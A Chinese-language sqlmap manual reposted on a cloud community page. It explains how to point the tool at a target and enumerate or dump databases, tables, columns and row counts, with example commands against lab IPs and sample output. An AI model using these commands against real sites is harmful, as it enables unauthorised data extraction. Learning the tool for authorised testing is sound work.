SqlMap使用手冊

來源:互聯網
上載者:User

標籤:sqlmap

0x00 SQLMAP簡介

  • sqlmap是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及接入該資料庫的伺服器。它擁有非常大的檢測引擎、具有多種特性的滲透實測器、通過資料庫指紋提取訪問底層檔案系統並通過外帶串連執行命令。

  • 支援的資料庫:mysql,oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase and SAP MaxDB

  • SQL注入技術:錯誤注射,基於時間的錯誤注射,報錯注入,union注入

  • 枚舉資料:users,password hasher,privileges,roles,databases,tables and columns


0x01 Sqlmap掃描等級(共有7個等級,預設為1)

  • 0、只顯示python錯誤以及嚴重的資訊

  • 1、同時顯示基本資料和警告資訊。(預設)

  • 2、同時顯示debug資訊

  • 3、同時顯示注入的payload

  • 4、同時顯示HTTP請求

  • 5、同時顯示HTTP回應標頭

  • 6、同時顯示HTTP響應面


0x02 擷取目標方式

  • 參數:-u 或 --url

eg:python sqlmap.py -u http(s)://targeturl[:port]/[...]


0x03 從文本中擷取多個目標掃描

  • 參數:-m

  • 檔案中儲存url格式如下,sqlmap會一個一個檢測

www.target1.com/vuln1.php?q=foobarwww.target2.com/vuln2.asp?id=1www.target3.com/vuln3/id/1*

0x04 從檔案中載入HTTP請求

  • 參數: -r

  • sqlmap可以從一個文本中擷取HTTP請求,這樣就可以跳過設定一些其他參數(比如cookie,POST資料,等等)。

POST /vuln.php HTTP/1.1Host: www.target.comUser-Agent: Mozilla/4.0id=1

0x05 POST方式注入

  • 參數: --data

  • 此參數是吧資料以post方式提交,sqlmap會像檢測GET參數一樣檢測POST的參數。

eg:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

0x06 設定逾時時間

  • 參數: --timeout

  • 可以設定一個HTTP(S)請求超過多久判定為逾時,10.5表示10.5秒,預設是30秒。


0x07 設定重試逾時

  • 參數: --retries

  • 當HTTP(S)逾時時,可以設定重新嘗試串連次數,預設是3次


0x08 測試參數

  • *

  • 在偽靜態注入測試時,sqlmap無法直接使用測試參數,可以在想測試參數的參數後面加*

eg:1.python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"2.python sqlmap.py -u "http://targeturl/param1/value1/param2/value2/15*"

0x09 列舉資料庫系統的資料庫

  • 參數:--dbs

  • 目前使用者有許可權讀取包含所有資料庫列表資訊的表中的時候,即可列出所有的資料庫。


0x10 列舉資料庫表

  • 參數: --tables -D

  • 列舉指定資料庫 -D xxxx 的所有表。如果不指定-D 則列舉所有資料庫中的所有表。


0x11 列舉書庫表中的欄位


  • 參數:--columns -T -D

  • 列舉指定數庫,指定表中的欄位。

eg:python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users[...]Database: SQLite_masterdbTable: users[3 columns]+---------+---------+| Column  | Type    |+---------+---------+| id      | INTEGER || name    | TEXT    || surname | TEXT    |+---------+---------+

0x12 擷取表中資料個數

  • 參數: --count

  • 列舉指定資料庫表中的資料個數。

eg:python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb[...]Database: testdb+----------------+---------+| Table          | Entries |+----------------+---------+| dbo.users      | 4       || dbo.users_blob | 2       |+----------------+---------+

0x13 擷取整個表的資料或某幾個欄位的資料。

  • --dump -D -T -C

  • 列舉某個資料庫某個表的所有欄位

python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users
  • 列舉某個資料庫的某個表的某個欄位的資料。

python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users -C ID,NAME


本文出自 “啟思·朝聖者” 部落格,請務必保留此出處http://dearch.blog.51cto.com/10423918/1827947

SqlMap使用手冊

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.